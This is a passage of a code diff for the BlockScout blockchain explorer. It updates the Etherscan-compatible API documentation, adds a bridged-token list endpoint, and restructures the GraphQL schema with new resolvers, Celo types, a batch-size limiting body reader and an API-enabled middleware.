@confirmation_type, success: %{ type: "boolean", - definition: "Flag for success during tx execution", + definition: "Flag for success during transaction execution", example: ~s(true) }, from: @address_hash_type, @@ -1226,7 +1218,7 @@ defmodule BlockScoutWeb.Etherscan do latest will be the latest balance in a *consensus* block. earliest will be the first recorded balance for the address. - pending will be the latest balance in consensus *or* nonconcensus blocks. + pending will be the latest balance in consensus *or* nonconsensus blocks. """ } ], @@ -1428,7 +1420,7 @@ defmodule BlockScoutWeb.Etherscan do "A nonnegative integer that represents the maximum number of records to return when paginating. 'page' must be provided in conjunction." }, %{ - key: "filterby", + key: "filter_by", type: "string", description: """ A string representing the field to filter by. If none is given @@ -1437,12 +1429,12 @@ defmodule BlockScoutWeb.Etherscan do """ }, %{ - key: "starttimestamp", + key: "start_timestamp", type: "unix timestamp", description: "Represents the starting block timestamp." }, %{ - key: "endtimestamp", + key: "end_timestamp", type: "unix timestamp", description: "Represents the ending block timestamp." } @@ -1476,16 +1468,15 @@ defmodule BlockScoutWeb.Etherscan do name: "txlistinternal", description: "Get internal transactions by transaction or address hash. Up to a maximum of 10,000 internal transactions. Also available through a GraphQL 'transaction' query.", - required_params: [ + required_params: [], + optional_params: [ %{ key: "txhash", placeholder: "transactionHash", type: "string", description: - "Transaction hash. Hash of contents of the transaction. A transcation hash or address hash is required." - } - ], - optional_params: [ + "Transaction hash. Hash of contents of the transaction. Optional parameter to filter results by a specific transaction hash." + }, %{ key: "address", placeholder: "addressHash", @@ -1995,6 +1986,117 @@ defmodule BlockScoutWeb.Etherscan do ] } + if @bridged_tokens_enabled do + @success_status_type %{ + type: "status", + enum: ~s(["1"]), + enum_interpretation: %{"1" => "ok"} + } + + @bridged_token_details %{ + name: "Bridged Token Detail", + fields: %{ + foreignChainId: %{ + type: "value", + definition: "Chain ID of the chain where original token exists.", + example: ~s("1") + }, + foreignTokenContractAddressHash: @address_hash_type, + homeContractAddressHash: @address_hash_type, + homeDecimals: @token_decimal_type, + homeHolderCount: %{ + type: "value", + definition: "Token holders count.", + example: ~s("393") + }, + homeName: @token_name_type, + homeSymbol: @token_symbol_type, + homeTotalSupply: %{ + type: "value", + definition: "Total supply of the token on the home side (where token was bridged).", + example: ~s("1484374.775044204093387391") + }, + homeUsdValue: %{ + type: "value", + definition: "Total supply of the token on the home side (where token was bridged) in USD.", + example: ~s("6638727.472651464170990256943") + } + } + } + + @token_bridgedtokenlist_example_value %{ + "status" => "1", + "message" => "OK", + "result" => [ + %{ + "foreignChainId" => "1", + "foreignTokenContractAddressHash" => "0x0ae055097c6d159879521c384f1d2123d1f195e6", + "homeContractAddressHash" => "0xb7d311e2eb55f2f68a9440da38e7989210b9a05e", + "homeDecimals" => "18", + "homeHolderCount" => 393, + "homeName" => "STAKE on xDai", + "homeSymbol" => "STAKE", + "homeTotalSupply" => "1484374.775044204093387391", + "homeUsdValue" => "18807028.39981006586321824397" + }, + %{ + "foreignChainId" => "1", + "foreignTokenContractAddressHash" => "0xf5581dfefd8fb0e4aec526be659cfab1f8c781da", + "homeContractAddressHash" => "0xd057604a14982fe8d88c5fc25aac3267ea142a08", + "homeDecimals" => "18", + "homeHolderCount" => 73, + "homeName" => "HOPR Token on xDai", + "homeSymbol" => "HOPR", + "homeTotalSupply" => "26600449.86076749062791602", + "homeUsdValue" => "6638727.472651464170990256943" + } + ] + } + + @token_bridgedtokenlist_action %{ + name: "bridgedTokenList", + description: "Get bridged tokens list.", + required_params: [], + optional_params: [ + %{ + key: "chainid", + type: "integer", + description: "A nonnegative integer that represents the chain id, where original token exists." + }, + %{ + key: "page", + type: "integer", + description: + "A nonnegative integer that represents the page number to be used for pagination. 'offset' must be provided in conjunction." + }, + %{ + key: "offset", + type: "integer", + description: + "A nonnegative integer that represents the maximum number of records to return when paginating. 'page' must be provided in conjunction." + } + ], + responses: [ + %{ + code: "200", + description: "successful operation", + example_value: Jason.encode!(@token_bridgedtokenlist_example_value), + model: %{ + name: "Result", + fields: %{ + status: @success_status_type, + message: @message_type, + result: %{ + type: "array", + array_type: @bridged_token_details + } + } + } + } + ] + } + end + @stats_tokensupply_action %{ name: "tokensupply", description: @@ -2176,7 +2278,7 @@ defmodule BlockScoutWeb.Etherscan do @block_eth_block_number_action %{ name: "eth_block_number", - description: "Mimics Ethereum JSON RPC's eth_blockNumber. Returns the lastest block number", + description: "Mimics Ethereum JSON RPC's eth_blockNumber. Returns the latest block number", required_params: [], optional_params: [ %{ @@ -2288,7 +2390,7 @@ defmodule BlockScoutWeb.Etherscan do description: """ Get a list of contracts, sorted ascending by the time they were first seen by the explorer. - If you provide the filters `not_decompiled`(`4`) or `not_verified(4)` the results will not + If you provide the filter `unverified(2)` the results will not be sorted for performance reasons. """, required_params: [], @@ -2308,14 +2410,19 @@ defmodule BlockScoutWeb.Etherscan do %{ key: "filter", type: "string", + description: "verified|unverified|empty, or 1|2|3 respectively. This requests only contracts with that status." + }, + %{ + key: "verified_at_start_timestamp", + type: "unix timestamp", description: - "verified|decompiled|unverified|not_decompiled|empty, or 1|2|3|4|5 respectively. This requests only contracts with that status." + "Represents the starting timestamp when contracts verified. Taking into account only with `verified` filter." }, %{ - key: "not_decompiled_with_version", - type: "string", + key: "verified_at_end_timestamp", + type: "unix timestamp", description: - "Ensures that none of the returned contracts were decompiled with the provided version. Ignored unless filtering for decompiled contracts." + "Represents the ending timestamp when contracts verified. Taking into account only with `verified` filter." } ], responses: [ @@ -2663,7 +2770,7 @@ defmodule BlockScoutWeb.Etherscan do ], optional_params: [ %{ - key: "constructorArguements", + key: "constructorArguments", type: "string", description: "The constructor argument data provided." }, @@ -2921,12 +3028,18 @@ defmodule BlockScoutWeb.Etherscan do actions: [@logs_getlogs_action] } + @base_token_actions [ + @token_gettoken_action, + @token_gettokenholders_action + ] + + @token_actions if @bridged_tokens_enabled, + do: [@token_bridgedtokenlist_action, @base_token_actions], + else: @base_token_actions + @token_module %{ name: "token", - actions: [ - @token_gettoken_action, - @token_gettokenholders_action - ] + actions: @token_actions } @stats_module %{ diff --git a/apps/block_scout_web/lib/block_scout_web/gettext.ex b/apps/block_scout_web/lib/block_scout_web/gettext.ex index 3d54e804bf98..bb3588f5f64e 100644 --- a/apps/block_scout_web/lib/block_scout_web/gettext.ex +++ b/apps/block_scout_web/lib/block_scout_web/gettext.ex @@ -20,5 +20,5 @@ defmodule BlockScoutWeb.Gettext do See the [Gettext Docs](https://hexdocs.pm/gettext) for detailed usage. """ - use Gettext, otp_app: :block_scout_web + use Gettext.Backend, otp_app: :block_scout_web end diff --git a/apps/block_scout_web/lib/block_scout_web/graphql/body_reader.ex b/apps/block_scout_web/lib/block_scout_web/graphql/body_reader.ex new file mode 100644 index 000000000000..fe12ebfb1ca1 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/graphql/body_reader.ex @@ -0,0 +1,35 @@ +defmodule BlockScoutWeb.GraphQL.BodyReader do + @moduledoc """ + This module is responsible for reading the body of a graphql request and counting the number of queries in the body. + """ + + alias Plug.Conn + + @max_number_of_queries 1 + + def read_body(conn, opts) do + {:ok, body, conn} = Conn.read_body(conn, opts) + updated_conn = update_in(conn.assigns[:raw_body], &[body | &1 || []]) + + json_body = Jason.decode!(body) + + json_body_length = + if is_list(json_body) do + Enum.count(json_body) + else + 1 + end + + error = %{errors: [%{message: "Max batch size is 1"}]} + + if json_body_length > @max_number_of_queries do + {:ok, "", + updated_conn + |> Conn.put_resp_content_type("application/json") + |> Conn.resp(400, Jason.encode!(error)) + |> Conn.halt()} + else + {:ok, body, updated_conn} + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/graphql/celo/resolvers/token_transfer.ex b/apps/block_scout_web/lib/block_scout_web/graphql/celo/resolvers/token_transfer.ex new file mode 100644 index 000000000000..0eb2a5a32375 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/graphql/celo/resolvers/token_transfer.ex @@ -0,0 +1,21 @@ +defmodule BlockScoutWeb.GraphQL.Celo.Resolvers.TokenTransfer do + @moduledoc """ + Resolvers for token transfers, used in the CELO schema. + """ + + alias Absinthe.Relay.Connection + alias Explorer.GraphQL.Celo, as: GraphQL + alias Explorer.Repo + + def get_by(%{transaction_hash: hash}, args, _) do + hash + |> GraphQL.token_transaction_transfers_query_by_transaction_hash() + |> Connection.from_query(&Repo.all/1, args, options(args)) + end + + defp options(%{before: _}), do: [] + + defp options(%{count: count}), do: [count: count] + + defp options(_), do: [] +end diff --git a/apps/block_scout_web/lib/block_scout_web/graphql/celo/resolvers/token_transfer_transaction.ex b/apps/block_scout_web/lib/block_scout_web/graphql/celo/resolvers/token_transfer_transaction.ex new file mode 100644 index 000000000000..4b39ec0c4bd2 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/graphql/celo/resolvers/token_transfer_transaction.ex @@ -0,0 +1,27 @@ +defmodule BlockScoutWeb.GraphQL.Celo.Resolvers.TokenTransferTransaction do + @moduledoc false + + alias Absinthe.Relay.Connection + alias Explorer.GraphQL.Celo, as: GraphQL + alias Explorer.Repo + + def get_by(_, %{address_hash: address_hash, first: limit} = args, _) do + connection_args = Map.take(args, [:after, :before, :first, :last]) + + offset = + case Connection.offset(args) do + {:ok, offset} when is_integer(offset) -> offset + _ -> 0 + end + + address_hash + |> GraphQL.token_transaction_transfers_query_for_address(offset, limit) + |> Connection.from_query(&Repo.all/1, connection_args, options(args)) + end + + defp options(%{before: _}), do: [] + + defp options(%{count: count}), do: [count: count] + + defp options(_), do: [] +end diff --git a/apps/block_scout_web/lib/block_scout_web/graphql/celo/schema/query_fields.ex b/apps/block_scout_web/lib/block_scout_web/graphql/celo/schema/query_fields.ex new file mode 100644 index 000000000000..8e2d277accc7 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/graphql/celo/schema/query_fields.ex @@ -0,0 +1,28 @@ +defmodule BlockScoutWeb.GraphQL.Celo.QueryFields do + @moduledoc """ + Query fields for the CELO schema. + """ + + alias BlockScoutWeb.GraphQL.Celo.Resolvers.TokenTransferTransaction + + use Absinthe.Schema.Notation + use Absinthe.Relay.Schema, :modern + + defmacro generate do + quote do + @desc "Gets token transfer transactions." + connection field(:token_transfer_txs, node_type: :transfer_transaction) do + arg(:address_hash, :address_hash) + arg(:count, :integer) + + resolve(&TokenTransferTransaction.get_by/3) + + complexity(fn + %{first: first}, child_complexity -> first * child_complexity + %{last: last}, child_complexity -> last * child_complexity + %{}, _child_complexity -> 0 + end) + end + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/graphql/celo/schema/types.ex b/apps/block_scout_web/lib/block_scout_web/graphql/celo/schema/types.ex new file mode 100644 index 000000000000..61419d03e998 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/graphql/celo/schema/types.ex @@ -0,0 +1,87 @@ +defmodule BlockScoutWeb.GraphQL.Celo.Schema.Types do + @moduledoc false + + use Absinthe.Schema.Notation + use Absinthe.Relay.Schema.Notation, :modern + + alias BlockScoutWeb.GraphQL.Celo.Resolvers.TokenTransfer + + @desc """ + Represents a CELO or usd token transfer between addresses. + """ + node object(:celo_transfer, id_fetcher: &celo_transfer_id_fetcher/2) do + field(:value, :decimal) + field(:token, :string) + field(:token_address, :string) + field(:token_type, :string) + field(:token_id, :decimal) + field(:block_number, :integer) + field(:from_address_hash, :address_hash) + field(:to_address_hash, :address_hash) + field(:transaction_hash, :full_hash) + + field(:log_index, :integer) + + field(:gas_price, :wei) + field(:gas_used, :decimal) + field(:input, :string) + field(:timestamp, :datetime) + field(:comment, :string) + + field(:to_account_hash, :address_hash) + field(:from_account_hash, :address_hash) + end + + @desc """ + Represents a CELO token transfer between addresses. + """ + node object(:transfer_transaction, id_fetcher: &transfer_transaction_id_fetcher/2) do + field(:gateway_fee_recipient, :address_hash) + field(:gateway_fee, :address_hash) + field(:fee_currency, :address_hash) + field(:fee_token, :string) + field(:address_hash, :address_hash) + field(:transaction_hash, :full_hash) + field(:block_number, :integer) + field(:gas_price, :wei) + field(:gas_used, :decimal) + field(:input, :string) + field(:timestamp, :datetime) + + connection field(:token_transfer, node_type: :celo_transfer) do + arg(:count, :integer) + resolve(&TokenTransfer.get_by/3) + + complexity(fn + %{first: first}, child_complexity -> + first * child_complexity + + %{last: last}, child_complexity -> + last * child_complexity + end) + end + end + + connection(node_type: :transfer_transaction) + connection(node_type: :celo_transfer) + + defp transfer_transaction_id_fetcher( + %{transaction_hash: transaction_hash, address_hash: address_hash}, + _ + ) do + Jason.encode!(%{ + transaction_hash: to_string(transaction_hash), + address_hash: to_string(address_hash) + }) + end + + defp celo_transfer_id_fetcher( + %{transaction_hash: transaction_hash, log_index: log_index}, + _ + ) do + Jason.encode!(%{ + transaction_hash: to_string(transaction_hash), + log_index: log_index + }) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/graphql/middleware/api_enabled.ex b/apps/block_scout_web/lib/block_scout_web/graphql/middleware/api_enabled.ex new file mode 100644 index 000000000000..dfe2bdb57564 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/graphql/middleware/api_enabled.ex @@ -0,0 +1,19 @@ +defmodule BlockScoutWeb.GraphQL.Middleware.ApiEnabled do + @moduledoc """ + Middleware to check if the GraphQL API is enabled. + """ + alias Absinthe.Resolution + + @behaviour Absinthe.Middleware + + @api_is_disabled "GraphQL API is disabled." + + def call(resolution, _config) do + if resolution.context.api_enabled do + resolution + else + resolution + |> Resolution.put_result({:error, @api_is_disabled}) + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/graphql/resolvers/address.ex b/apps/block_scout_web/lib/block_scout_web/graphql/resolvers/address.ex new file mode 100644 index 000000000000..1cbc324a1076 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/graphql/resolvers/address.ex @@ -0,0 +1,19 @@ +defmodule BlockScoutWeb.GraphQL.Resolvers.Address do + @moduledoc false + + alias Explorer.Chain + + def get_by(_, %{hashes: hashes}, _) do + case Chain.hashes_to_addresses(hashes) do + [] -> {:error, "Addresses not found."} + result -> {:ok, result} + end + end + + def get_by(_, %{hash: hash}, _) do + case Chain.hash_to_address(hash) do + {:error, :not_found} -> {:error, "Address not found."} + {:ok, _} = result -> result + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/graphql/resolvers/block.ex b/apps/block_scout_web/lib/block_scout_web/graphql/resolvers/block.ex new file mode 100644 index 000000000000..1b03f48dfc88 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/graphql/resolvers/block.ex @@ -0,0 +1,32 @@ +defmodule BlockScoutWeb.GraphQL.Resolvers.Block do + @moduledoc false + + alias Explorer.Chain + alias Explorer.Chain.Transaction + + @api_true [api?: true] + + def get_by(_, %{number: number}, _) do + number + |> Chain.number_to_block(@api_true) + |> case do + {:ok, _} = result -> + result + + {:error, :not_found} -> + {:error, "Block number #{number} was not found."} + end + end + + def get_by(%Transaction{block_hash: hash}, _, _) do + hash + |> Chain.hash_to_block(@api_true) + |> case do + {:ok, _} = result -> + result + + {:error, :not_found} -> + {:error, "Block hash #{to_string(hash)} was not found."} + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/graphql/resolvers/internal_transaction.ex b/apps/block_scout_web/lib/block_scout_web/graphql/resolvers/internal_transaction.ex new file mode 100644 index 000000000000..14e0093eef47 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/graphql/resolvers/internal_transaction.ex @@ -0,0 +1,23 @@ +defmodule BlockScoutWeb.GraphQL.Resolvers.InternalTransaction do + @moduledoc false + + alias Absinthe.Relay.Connection + alias Explorer.Chain.Transaction + alias Explorer.{GraphQL, Repo} + + def get_by(%{transaction_hash: _, index: _} = args, _) do + GraphQL.get_internal_transaction(args) + end + + def get_by(%Transaction{} = transaction, args, _) do + transaction + |> GraphQL.transaction_to_internal_transactions_query() + |> Connection.from_query(&Repo.all/1, args, options(args)) + end + + defp options(%{before: _}), do: [] + + defp options(%{count: count}), do: [count: count] + + defp options(_), do: [] +end diff --git a/apps/block_scout_web/lib/block_scout_web/graphql/resolvers/token.ex b/apps/block_scout_web/lib/block_scout_web/graphql/resolvers/token.ex new file mode 100644 index 000000000000..55092ec02e75 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/graphql/resolvers/token.ex @@ -0,0 +1,10 @@ +defmodule BlockScoutWeb.GraphQL.Resolvers.Token do + @moduledoc false + + alias Explorer.Chain.TokenTransfer + alias Explorer.GraphQL + + def get_by(%TokenTransfer{token_contract_address_hash: token_contract_address_hash}, _, _) do + GraphQL.get_token(%{contract_address_hash: token_contract_address_hash}) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/graphql/resolvers/token_transfer.ex b/apps/block_scout_web/lib/block_scout_web/graphql/resolvers/token_transfer.ex new file mode 100644 index 000000000000..e61622260e6d --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/graphql/resolvers/token_transfer.ex @@ -0,0 +1,33 @@ +defmodule BlockScoutWeb.GraphQL.Resolvers.TokenTransfer do + @moduledoc false + + alias Absinthe.Relay.Connection + alias Explorer.Chain.{Address, TokenTransfer} + alias Explorer.{GraphQL, Repo} + + def get_by(%{transaction_hash: _, log_index: _} = args, _) do + GraphQL.get_token_transfer(args) + end + + def get_by(_, %{token_contract_address_hash: token_contract_address_hash} = args, _) do + connection_args = Map.take(args, [:after, :before, :first, :last]) + + token_contract_address_hash + |> GraphQL.list_token_transfers_query() + |> Connection.from_query(&Repo.replica().all/1, connection_args, options(args)) + end + + def get_by(%Address{hash: address_hash}, args, _) do + connection_args = Map.take(args, [:after, :before, :first, :last]) + + address_hash + |> TokenTransfer.token_transfers_by_address_hash(nil, nil, [], nil, []) + |> Connection.from_query(&Repo.replica().all/1, connection_args, options(args)) + end + + defp options(%{before: _}), do: [] + + defp options(%{count: count}), do: [count: count] + + defp options(_), do: [] +end diff --git a/apps/block_scout_web/lib/block_scout_web/graphql/resolvers/transaction.ex b/apps/block_scout_web/lib/block_scout_web/graphql/resolvers/transaction.ex new file mode 100644 index 000000000000..c1406eed85fc --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/graphql/resolvers/transaction.ex @@ -0,0 +1,27 @@ +defmodule BlockScoutWeb.GraphQL.Resolvers.Transaction do + @moduledoc false + + alias Absinthe.Relay.Connection + alias Explorer.{GraphQL, Repo} + alias Explorer.Chain.{Address, TokenTransfer} + + def get_by(_, %{hash: hash}, _), + do: GraphQL.get_transaction_by_hash(hash) + + def get_by(%Address{hash: address_hash}, args, _) do + connection_args = Map.take(args, [:after, :before, :first, :last]) + + address_hash + |> GraphQL.address_to_transactions_query(args.order) + |> Connection.from_query(&Repo.replica().all/1, connection_args, options(args)) + end + + def get_by(%TokenTransfer{transaction_hash: hash}, _, _), + do: GraphQL.get_transaction_by_hash(hash) + + defp options(%{before: _}), do: [] + + defp options(%{count: count}), do: [count: count] + + defp options(_), do: [] +end diff --git a/apps/block_scout_web/lib/block_scout_web/graphql/schema.ex b/apps/block_scout_web/lib/block_scout_web/graphql/schema.ex new file mode 100644 index 000000000000..e94ed7ddffbc --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/graphql/schema.ex @@ -0,0 +1,149 @@ +defmodule BlockScoutWeb.GraphQL.Schema do + @moduledoc false + + use Absinthe.Schema + use Absinthe.Relay.Schema, :modern + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + alias Absinthe.Middleware.Dataloader, as: AbsintheDataloaderMiddleware + alias Absinthe.Plugin, as: AbsinthePlugin + + alias BlockScoutWeb.GraphQL.Middleware.ApiEnabled, as: ApiEnabledMiddleware + + alias BlockScoutWeb.GraphQL.Resolvers.{ + Address, + Block, + InternalTransaction, + TokenTransfer, + Transaction + } + + alias Explorer.Chain + alias Explorer.Chain.InternalTransaction, as: ExplorerChainInternalTransaction + alias Explorer.Chain.TokenTransfer, as: ExplorerChainTokenTransfer + alias Explorer.Chain.Transaction, as: ExplorerChainTransaction + + import_types(BlockScoutWeb.GraphQL.Schema.Types) + + if @chain_type == :celo do + import_types(BlockScoutWeb.GraphQL.Celo.Schema.Types) + end + + node interface do + resolve_type(fn + %ExplorerChainInternalTransaction{}, _ -> + :internal_transaction + + %ExplorerChainTokenTransfer{}, _ -> + :token_transfer + + %ExplorerChainTransaction{}, _ -> + :transaction + + _, _ -> + nil + end) + end + + query do + node field do + resolve(fn + %{type: :internal_transaction, id: id}, resolution -> + %{"transaction_hash" => transaction_hash_string, "index" => index} = Jason.decode!(id) + {:ok, transaction_hash} = Chain.string_to_full_hash(transaction_hash_string) + InternalTransaction.get_by(%{transaction_hash: transaction_hash, index: index}, resolution) + + %{type: :token_transfer, id: id}, resolution -> + %{"transaction_hash" => transaction_hash_string, "log_index" => log_index} = Jason.decode!(id) + {:ok, transaction_hash} = Chain.string_to_full_hash(transaction_hash_string) + TokenTransfer.get_by(%{transaction_hash: transaction_hash, log_index: log_index}, resolution) + + %{type: :transaction, id: transaction_hash_string}, resolution -> + {:ok, hash} = Chain.string_to_full_hash(transaction_hash_string) + Transaction.get_by(%{}, %{hash: hash}, resolution) + + _, _ -> + {:error, "Unknown node"} + end) + end + + @desc "Gets an address by hash." + field :address, :address do + arg(:hash, non_null(:address_hash)) + resolve(&Address.get_by/3) + end + + @desc "Gets addresses by address hash." + field :addresses, list_of(:address) do + arg(:hashes, non_null(list_of(non_null(:address_hash)))) + resolve(&Address.get_by/3) + complexity(fn %{hashes: hashes}, child_complexity -> length(hashes) * child_complexity end) + end + + @desc "Gets a block by number." + field :block, :block do + arg(:number, non_null(:integer)) + resolve(&Block.get_by/3) + end + + @desc "Gets token transfers by token contract address hash." + connection field(:token_transfers, node_type: :token_transfer) do + arg(:token_contract_address_hash, non_null(:address_hash)) + arg(:count, :integer) + + resolve(&TokenTransfer.get_by/3) + + complexity(fn + %{first: first}, child_complexity -> + first * child_complexity + + %{last: last}, child_complexity -> + last * child_complexity + end) + end + + @desc "Gets a transaction by hash." + field :transaction, :transaction do + arg(:hash, non_null(:full_hash)) + resolve(&Transaction.get_by/3) + end + + if @chain_type == :celo do + require BlockScoutWeb.GraphQL.Celo.QueryFields + alias BlockScoutWeb.GraphQL.Celo.QueryFields + + QueryFields.generate() + end + end + + subscription do + field :token_transfers, list_of(:token_transfer) do + arg(:token_contract_address_hash, non_null(:address_hash)) + + config(fn args, _info -> + {:ok, topic: to_string(args.token_contract_address_hash)} + end) + end + end + + def context(context) do + if Application.get_env(:block_scout_web, Api.GraphQL)[:enabled] do + loader = Dataloader.add_source(Dataloader.new(), :db, Chain.data()) + + context + |> Map.put(:loader, loader) + |> Map.put(:api_enabled, true) + else + context + |> Map.put(:api_enabled, false) + end + end + + def middleware(middleware, _field, _object) do + [ApiEnabledMiddleware | middleware] + end + + def plugins do + [AbsintheDataloaderMiddleware] ++ AbsinthePlugin.defaults() + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/schema/scalars.ex b/apps/block_scout_web/lib/block_scout_web/graphql/schema/scalars.ex similarity index 96% rename from apps/block_scout_web/lib/block_scout_web/schema/scalars.ex rename to apps/block_scout_web/lib/block_scout_web/graphql/schema/scalars.ex index 51ebae097d4d..e74af83ba582 100644 --- a/apps/block_scout_web/lib/block_scout_web/schema/scalars.ex +++ b/apps/block_scout_web/lib/block_scout_web/graphql/schema/scalars.ex @@ -1,4 +1,4 @@ -defmodule BlockScoutWeb.Schema.Scalars do +defmodule BlockScoutWeb.GraphQL.Schema.Scalars do @moduledoc false use Absinthe.Schema.Notation @@ -6,7 +6,7 @@ defmodule BlockScoutWeb.Schema.Scalars do alias Explorer.Chain.{Data, Hash, Wei} alias Explorer.Chain.Hash.{Address, Full, Nonce} - import_types(BlockScoutWeb.Schema.Scalars.JSON) + import_types(BlockScoutWeb.GraphQL.Schema.Scalars.JSON) @desc """ The address (40 (hex) characters / 160 bits / 20 bytes) is derived from the public key (128 (hex) characters / diff --git a/apps/block_scout_web/lib/block_scout_web/schema/scalars/JSON.ex b/apps/block_scout_web/lib/block_scout_web/graphql/schema/scalars/JSON.ex similarity index 93% rename from apps/block_scout_web/lib/block_scout_web/schema/scalars/JSON.ex rename to apps/block_scout_web/lib/block_scout_web/graphql/schema/scalars/JSON.ex index 8b4ef285f594..530e2a01baa0 100644 --- a/apps/block_scout_web/lib/block_scout_web/schema/scalars/JSON.ex +++ b/apps/block_scout_web/lib/block_scout_web/graphql/schema/scalars/JSON.ex @@ -1,4 +1,4 @@ -defmodule BlockScoutWeb.Schema.Scalars.JSON do +defmodule BlockScoutWeb.GraphQL.Schema.Scalars.JSON do @moduledoc """ The JSON scalar type allows arbitrary JSON values to be passed in and out. """ diff --git a/apps/block_scout_web/lib/block_scout_web/graphql/schema/types.ex b/apps/block_scout_web/lib/block_scout_web/graphql/schema/types.ex new file mode 100644 index 000000000000..bcb49f5826db --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/graphql/schema/types.ex @@ -0,0 +1,309 @@ +defmodule BlockScoutWeb.GraphQL.Schema.Transaction do + @moduledoc false + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + alias BlockScoutWeb.GraphQL.Resolvers.{Block, InternalTransaction} + + case @chain_type do + :celo -> + @chain_type_fields quote( + do: [ + field(:gas_token_contract_address_hash, :address_hash) + ] + ) + + _ -> + @chain_type_fields quote(do: []) + end + + defmacro generate do + quote do + node object(:transaction, id_fetcher: &transaction_id_fetcher/2) do + field(:cumulative_gas_used, :decimal) + field(:error, :string) + field(:gas, :decimal) + field(:gas_price, :wei) + field(:gas_used, :decimal) + field(:hash, :full_hash) + field(:index, :integer) + field(:input, :string) + field(:nonce, :nonce_hash) + field(:r, :decimal) + field(:s, :decimal) + field(:status, :status) + field(:v, :decimal) + field(:value, :wei) + field(:block_hash, :full_hash) + field(:block_number, :integer) + field(:from_address_hash, :address_hash) + field(:to_address_hash, :address_hash) + field(:created_contract_address_hash, :address_hash) + field(:earliest_processing_start, :datetime) + field(:revert_reason, :string) + field(:max_priority_fee_per_gas, :wei) + field(:max_fee_per_gas, :wei) + field(:type, :integer) + field(:has_error_in_internal_transactions, :boolean) + + field :block, :block do + resolve(&Block.get_by/3) + end + + connection field(:internal_transactions, node_type: :internal_transaction) do + arg(:count, :integer) + resolve(&InternalTransaction.get_by/3) + + complexity(fn params, child_complexity -> process_complexity(params, child_complexity) end) + end + + unquote_splicing(@chain_type_fields) + end + end + end +end + +defmodule BlockScoutWeb.GraphQL.Schema.SmartContracts do + @moduledoc false + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + case @chain_type do + :zksync -> + @chain_type_fields quote( + do: [ + field(:optimization_runs, :string), + field(:zk_compiler_version, :string) + ] + ) + + _ -> + @chain_type_fields quote(do: [field(:optimization_runs, :integer)]) + end + + defmacro generate do + quote do + object :smart_contract do + field(:name, :string) + field(:compiler_version, :string) + field(:optimization, :boolean) + field(:contract_source_code, :string) + field(:abi, :json) + field(:address_hash, :address_hash) + field(:constructor_arguments, :string) + field(:evm_version, :string) + field(:external_libraries, :json) + field(:verified_via_sourcify, :boolean) + field(:partially_verified, :boolean) + field(:file_path, :string) + field(:is_changed_bytecode, :boolean) + field(:compiler_settings, :json) + field(:verified_via_eth_bytecode_db, :boolean) + field(:language, :language) + + unquote_splicing(@chain_type_fields) + end + end + end +end + +defmodule BlockScoutWeb.GraphQL.Schema.Types do + @moduledoc false + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + require BlockScoutWeb.GraphQL.Schema.{Transaction, SmartContracts} + + use Absinthe.Schema.Notation + use Absinthe.Relay.Schema.Notation, :modern + + import Absinthe.Resolution.Helpers + + alias BlockScoutWeb.GraphQL.Resolvers.{ + Token, + TokenTransfer, + Transaction + } + + alias BlockScoutWeb.GraphQL.Schema.SmartContracts, as: SmartContractsSchema + alias BlockScoutWeb.GraphQL.Schema.Transaction, as: TransactionSchema + + # TODO: leverage `Ecto.Enum.values(SmartContract, :language)` to deduplicate + # language definitions + @default_languages ~w(solidity vyper yul)a + + case @chain_type do + :arbitrum -> + @chain_type_languages ~w(stylus_rust)a + + :zilliqa -> + @chain_type_languages ~w(scilla)a + + _ -> + @chain_type_languages ~w()a + end + + enum(:language, values: @default_languages ++ @chain_type_languages) + + import_types(Absinthe.Type.Custom) + import_types(BlockScoutWeb.GraphQL.Schema.Scalars) + + connection(node_type: :transaction) + connection(node_type: :internal_transaction) + connection(node_type: :token_transfer) + + @desc """ + A stored representation of a Web3 address. + """ + object :address do + field(:fetched_coin_balance, :wei) + field(:fetched_coin_balance_block_number, :integer) + field(:hash, :address_hash) + field(:contract_code, :data) + field(:nonce, :integer) + field(:gas_used, :integer) + field(:transactions_count, :integer) + field(:token_transfers_count, :integer) + + field :smart_contract, :smart_contract do + resolve(dataloader(:db, :smart_contract)) + end + + connection field(:transactions, node_type: :transaction) do + arg(:count, :integer) + arg(:order, type: :sort_order, default_value: :desc) + resolve(&Transaction.get_by/3) + + complexity(fn params, child_complexity -> process_complexity(params, child_complexity) end) + end + + connection field(:token_transfers, node_type: :token_transfer) do + arg(:count, :integer) + resolve(&TokenTransfer.get_by/3) + + complexity(fn params, child_complexity -> process_complexity(params, child_complexity) end) + end + end + + @desc """ + A package of data that contains zero or more transactions, the hash of the previous block ("parent"), and optionally + other data. Because each block (except for the initial "genesis block") points to the previous block, the data + structure that they form is called a "blockchain". + """ + object :block do + field(:consensus, :boolean) + field(:difficulty, :decimal) + field(:gas_limit, :decimal) + field(:gas_used, :decimal) + field(:hash, :full_hash) + field(:miner_hash, :address_hash) + field(:nonce, :nonce_hash) + field(:number, :integer) + field(:parent_hash, :full_hash) + field(:size, :integer) + field(:timestamp, :datetime) + field(:total_difficulty, :decimal) + field(:base_fee_per_gas, :wei) + field(:is_empty, :boolean) + end + + 